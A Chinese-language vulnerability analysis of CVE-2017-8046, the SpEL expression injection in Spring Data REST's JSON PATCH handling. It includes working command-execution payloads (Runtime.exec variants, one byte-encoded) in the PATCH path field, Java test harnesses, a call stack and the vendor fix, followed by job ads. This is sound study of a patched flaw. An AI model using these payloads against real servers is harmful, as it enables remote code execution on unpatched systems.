CVE-2017-8046 Spring Data REST命令执行漏洞分析

百家 作者:顺丰安全应急响应中心 2020-10-22 19:32:09

漏洞简介

简要说明

该漏洞是由于“Spring表达式语言”Spring Expression Language (SpEL) 导致的问题。漏洞原因可以归属于“表达式注入”。

影响版本

  • Spring Data REST组件的2.6.9 and 3.0.9之前的版本(不包含2.6.9和3.0.9 )

  • Spring Boot (如果使用了Spring Data REST模块)的1.5.9 和 2.0 M6之前的版本

这个漏洞真正影响的就是Spring Data REST组件,完整的名称是 spring-data-rest-webmvc-x.x.x.RELEASE.jar

漏洞利用条件

  • 真实环境中一般会需要登录系统,除非接口存在未授权访问漏洞

基础知识


Spring Expression Language (SpEL)

package com.example.accessingdatarest;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class spelTest {

    public static void main(String[] args) {

        //创建ExpressionParser解析表达式
        ExpressionParser parser = new SpelExpressionParser();
        //表达式放置
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");//success

        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[]");//NullPointerException
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[1]");//success
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[a]");//success

        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").a");//success
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").1");//SpelParseException
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").");//SpelParseException

        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/a");//success
        //Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/1");//success
        Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/");//SpelParseException
        Object value = exp.getValue();
        System.out.println(value);

        exp.setValue(new Person(),"111");//为了测试set方法对“尾巴”的需求
    }
}

关于JSON Patch

JSON Patch 就是以JSON格式来描述一个对JSON文档(到了web后端,可能是一个对象)的操作,操作包括【增、删、改、移动、复制、测试】

可以在 http://jsonpatch.com/ 上进一步了解。

漏洞复现

环境搭建

首先克隆如下项目到本地

git clone https://github.com/spring-guides/gs-accessing-data-rest.git

然后使用IDE打开其中的complete项目,并修改pom.xml中的spring-boot-starter-parent版本为1.5.6.RELEASE(存在漏洞的版本)。运行 src\main\java\com\example\accessingdatarest\AccessingDataRestApplication.java 启动web程序。

先创建一个用户,需要使用POST方法+JSON格式

使用PATCH方法修改一个用户的信息,这有助于我们理解JSON PATCH。

漏洞验证PoC

运行com.example.accessingdatarest.AccessingDataRestApplication。修改如上PATCH请求的path参数的值为如下值。然后通过burp发起请求,成功执行命令。

T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{99, 97, 108, 99, 46, 101, 120, 101}))/lastName

//一些其他可用poc,值得注意的是("calc.exe")后面都有“尾巴”,如果没有这些尾巴,PoC将不能正确触发。

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/1

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/a

//在后续的处理过程中,斜杠会被替换成点号,点号表示访问属性

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[1]

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[a]

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").a

漏洞分析

在java.lang.Runtime#exec(java.lang.String)处下断点,并以debug模式运行com.example.accessingdatarest.AccessingDataRestApplication。和上面一样修改PATCH请求的path参数的值为payload,然后发起请求。通过断点获取到如下调用栈信息:

getRuntime():58, Runtime (java.lang)
invoke0(Method, ObjectObject[]):-1, NativeMethodAccessorImpl (sun.reflect)
invoke(ObjectObject[]):62, NativeMethodAccessorImpl (sun.reflect)
invoke(ObjectObject[]):43, DelegatingMethodAccessorImpl (sun.reflect)
invoke(ObjectObject[]):498, Method (java.lang.reflect)
execute(EvaluationContext, ObjectObject[]):113, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal(EvaluationContext, Object, TypeDescriptor, Object[]):129, MethodReference (org.springframework.expression.spel.ast)
getValueInternal(ExpressionState):85, MethodReference (org.springframework.expression.spel.ast)
getValueRef(ExpressionState):57, CompoundExpression (org.springframework.expression.spel.ast)
setValue(ExpressionState, Object):95, CompoundExpression (org.springframework.expression.spel.ast)
setValue(ObjectObject):438, SpelExpression (org.springframework.expression.spel.standard)
setValueOnTarget(ObjectObject):167, PatchOperation (org.springframework.data.rest.webmvc.json.patch)
perform(Object, Class):41, ReplaceOperation (org.springframework.data.rest.webmvc.json.patch)
//我们可以从这里自己实现一个例子来验证漏洞。

apply(Object, Class):64, Patch (org.springframework.data.rest.webmvc.json.patch)
applyPatch(InputStream, Object):91, JsonPatchHandler (org.springframework.data.rest.webmvc.config)
apply(IncomingRequest, Object):83, JsonPatchHandler (org.springframework.data.rest.webmvc.config)
//开始处理JSON-Patch

readPatch(IncomingRequest, ObjectMapper, Object):206, PersistentEntityResourceHandlerMethodArgumentResolver (org.springframework.data.rest.webmvc.config)
read(RootResourceInformation, IncomingRequest, HttpMessageConverter, Object):184, PersistentEntityResourceHandlerMethodArgumentResolver (org.springframework.data.rest.webmvc.config)
resolveArgument(MethodParameter, ModelAndViewContainer, NativeWebRequest, WebDataBinderFactory):141, PersistentEntityResourceHandlerMethodArgumentResolver (org.springframework.data.rest.webmvc.config)
resolveArgument(MethodParameter, ModelAndViewContainer, NativeWebRequest, WebDataBinderFactory):121, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues(NativeWebRequest, ModelAndViewContainer, Object[]):158, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest(NativeWebRequest, ModelAndViewContainer, Object[]):128, InvocableHandlerMethod (org.springframework.web.method.support)
invokeAndHandle(ServletWebRequest, ModelAndViewContainer, Object[]):97, ServletInvocableHandlerMethod (org.springframework.web.servlet.mvc.method.annotation)
invokeHandlerMethod(HttpServletRequest, HttpServletResponse, HandlerMethod):827, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handleInternal(HttpServletRequest, HttpServletResponse, HandlerMethod):738, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle(HttpServletRequest, HttpServletResponse, Object):85, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch(HttpServletRequest, HttpServletResponse):967, DispatcherServlet (org.springframework.web.servlet)
doService(HttpServletRequest, HttpServletResponse):901, DispatcherServlet (org.springframework.web.servlet)
processRequest(HttpServletRequest, HttpServletResponse):970, FrameworkServlet (org.springframework.web.servlet)
service(HttpServletRequest, HttpServletResponse):843, FrameworkServlet (org.springframework.web.servlet)
//servlet的处理逻辑

//以下都是web容器的处理逻辑
service(ServletRequest, ServletResponse):742, HttpServlet (javax.servlet.http)
//..省略大量内容
run():61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run():745, Thread (java.lang)

通过上面的调用栈,发现问题的关键在于org.springframework.data.rest.webmvc.json.patch.ReplaceOperation#perform方法的后续逻辑。所以我尝试自己编写本地测试代码来进行漏洞复现,以便于理清漏洞触发流程。

本地测试一

由于org.springframework.data.rest.webmvc.json.patch.ReplaceOperation#perform方法的是protected的,我们的测试代码在com.example.accessingdatarest这个包中,无权限访问它。首先想到的方法就是通过反射方式来失效调用,代码如下。

package com.example.accessingdatarest;

import org.springframework.data.rest.webmvc.json.patch.ReplaceOperation;
import java.lang.reflect.Method;
import java.util.Arrays;

public class test {
    public static void main(String[] args) throws Exception {
        //path参数中后面的“/11”不能少,其底层方法使用“/”来做字符串分割的
        ReplaceOperation patchReplace = new ReplaceOperation("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/11","xxx");

        //getMethods不能获取到我们想要的perform方法,因为getMethods只返回公共方法
        Method[] methods = ReplaceOperation.class.getMethods();
        System.out.println(Arrays.asList(methods).toString());
        for (Method method: methods){
            System.out.println(method.getName());
        }

        //同上,只返回公共方法!
        //Method method = ReplaceOperation.class.getMethod("perform", Object.class, Class.class);

        //patchReplace.perform(new Person(),Person.class); //本来应该使用这个方法直接调用,但是perform函数不是public的。只好用反射来实现。

        Method method1 = ReplaceOperation.class.getDeclaredMethod("perform"Object.class, Class.class);
        Object[] argsxx= {new Person(),Person.class};
        method1.setAccessible(true);
        method1.invoke(patchReplace,argsxx);
    }
}

本地测试二

上面的方法是首先想到的,却不是最简单的方法。后来想到可以在相同的package中创建测试类,就简便多了。

package org.springframework.data.rest.webmvc.json.patch;
//创建一个和ReplaceOperation类一模一样的包名。这样当前类和ReplaceOperation类就处于同一个pacak中,就可以直接调用perform方法了。

import com.example.accessingdatarest.Person;

public class test {
    public static void main(String[] args) throws Exception {
        //path参数中后面的“/11”不能少,其底层方法使用“/”来做字符串分割的,并使用“.”点号重新拼接。
        ReplaceOperation patchReplace = new ReplaceOperation("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/11","xxx");
        //变形payload
        //ReplaceOperation patchReplace = new ReplaceOperation("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")[a]","xxx");
        patchReplace.perform(new Person(),Person.class); //本来应该使用这个方法直接调用,但是perform函数不是public的。只好用反射来实现。
    }
}

关于payload的“尾巴”

在上面的PoC复现和测试过程中,我们注意到一个现象:

1、spelTest中的代码,正常触发的payload,不需要“尾巴”

2、而我们的漏洞PoC,ReplaceOperation的操作,则需要“尾巴”,否则不会触发。

这是怎么回事呢?仍然以ReplaceOperation的触发逻辑进行说明。

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")
这个不带尾巴的payload,会被分隔为三个部分, 后续会进入到org.springframework.expression.spel.ast.CompoundExpression#getValueRef的逻辑中:

T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")/1
带有以上“尾巴”的会被分隔为四个部分,如下图:


经过长时间的分析对比,问题的关键出在org.springframework.expression.spel.ast.CompoundExpression#getValueRef函数。它依次使用getValueInternal()处理每个节点。

而最后一个节点是用getValueRef处理,getValueRef的内容是直接抛出异常,也就是说最后一个节点不会被真正执行。“尾巴”的作用是为了保证真正需要被执行的内容(比如exec)不是最后一个节点,所以“尾巴”只要保证格式正确,内容不重要。

各种JSON-Patch操作和“尾巴”的关系

经过测试,不同的op对“尾巴”的要求不一样,通过测试得出如下规律,以及导致这个规律的根本原因。

add    -- 命令会被执行三次,payload需要尾巴!!!  本质是set操作
replace-- 命令会被执行一次,payload需要尾巴        本质是set操作

test   -- 命令会被执行一次,payload不需要尾巴 本质是get操作
remove -- 命令会被执行一次,payload不需要尾巴 本质是get操作
move   -- 命令会被执行一次,payload不需要尾巴 本质是get操作
copy   -- 命令会被执行一次,payload不需要尾巴 本质是get操作

我们可以得出这样的结论:
set操作相关的方法一定需要“尾巴”才能成功触发。原因就是如上一个步骤,org.springframework.expression.spel.ast.CompoundExpression#getValueRef是关键点
get操作相关的方法,有没有“尾巴”都能成功触发。有尾巴的情况和set操作的一致;没有尾巴的payload触发流程则和它们不同。


漏洞修复思路

通过分析1.5.10.RELEASE版本中的修复方案,可以看出是通过verifyPath函数对收到的请求中的path进行判断。

在Spring Data REST中,path的本质是目标对象的属性,修复方案的关键逻辑是:尝试从目标对象的类中(这个例子中就是com.example.accessingdatarest.Person这个class)获取这个属性(也就是path),如果不存就抛出异常。相当于一个白名单。

也就是说,只要经过解析得到的path不是类的属性名称,就会报错,完全没有绕过这个过滤的可能。

参考链接

环境搭建:

https://blog.spoock.com/2018/05/22/cve-2017-8046/

SpEL表达式注入漏洞案例

https://mp.weixin.qq.com/s/zK5psO114C7Z6XPynDhIKQ

Spring官方的漏洞公告:

https://spring.io/blog/2018/03/06/security-issue-in-spring-data-rest-cve-2017-8046

exploit-db上的漏洞PoC:

https://www.exploit-db.com/exploits/44289

漏洞发现者的文章:

https://blog.semmle.com/spring-data-rest-CVE-2017-8046/

https://securitylab.github.com/research/spring-data-rest-CVE-2017-8046

登登 最后插播小广告,我们招聘以下职位,欢迎厉害的小伙伴投简历到sfsrc@sf-express.com,一起来玩耍哦

WLA-安全运营工程师

【职责描述】

1、负责安全运营平台的监控分析工作,对收集的安全日志进行分析,发现潜在风险并及时推动解决,对安全检测策略和模型进行开发和设计优化。

2、负责输出针对终端/主机、网络、应用等多个方向的安全威胁场景及推动解决方案落地;

3、跟踪业内最新的安全漏洞和技术,制定漏洞预警和解决方案;

4、负责对突发信息安全事件应急响应处理,并不断优化响应流程;


【职位要求】

满足以下至少一个专业方向:

1.主机/终端安全:熟悉常见安全攻防技术,掌握linux/windows/应用系统等相关安全事件/入侵场景特征,能够输出各类威胁场景及预警规则优化;

2.网络安全:熟练掌握TCP/IP协议及分析,能够对网络层对常见的攻击行为输出预警规则,对IDS/WAF/NGFW有深入了解及实际运营经验;

3.应急响应:熟练掌握各类突发安全事件的响应处置,包括漏洞、服务入侵、网络DDOS、业务安全、威胁情报等的应急响应;


以下条件作为优先条件:

1.具备安全日志分析经验,熟悉基于siem平台的预警规则分析、告警处置等经验者优先;

2.熟悉各安全场景的入侵排查工作,对入侵检测与防御有较深入了解,有应急响应经验者优先;

3.具备大型或知名互联网公司安全工作经历者优先;


【其他要求】

1.本科及以上学历,3年及以上网络安全工作经验;

2.具有较强的表达能力,能主动沟通、并进行团队协作。


大数据开发高级工程师

【工作职责 】

1、负责大数据相关系统、功能或需求开发;

2、负责业务需求的开发和落地;

3、负责日志数据的接入、清洗和存储。


【职位要求】

1、熟练掌握java、scala等编程语言;

2、熟练掌握Linux下开发,熟悉shell脚本编程;

3、熟练掌握Hadoop/Spark/Flink/Hive/ES/Kafka等组件的使用;

4、掌握机器学习能力。


【其他要求】

1、本科及以上学历,具备3年以上开发经验;

2、具有较强的表达能力,能主动沟通、并进行团队协作;

3、工作主动性强,有较强的逻辑思维能力,对技术有强烈的兴趣,具有良好的学习能力。

 



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接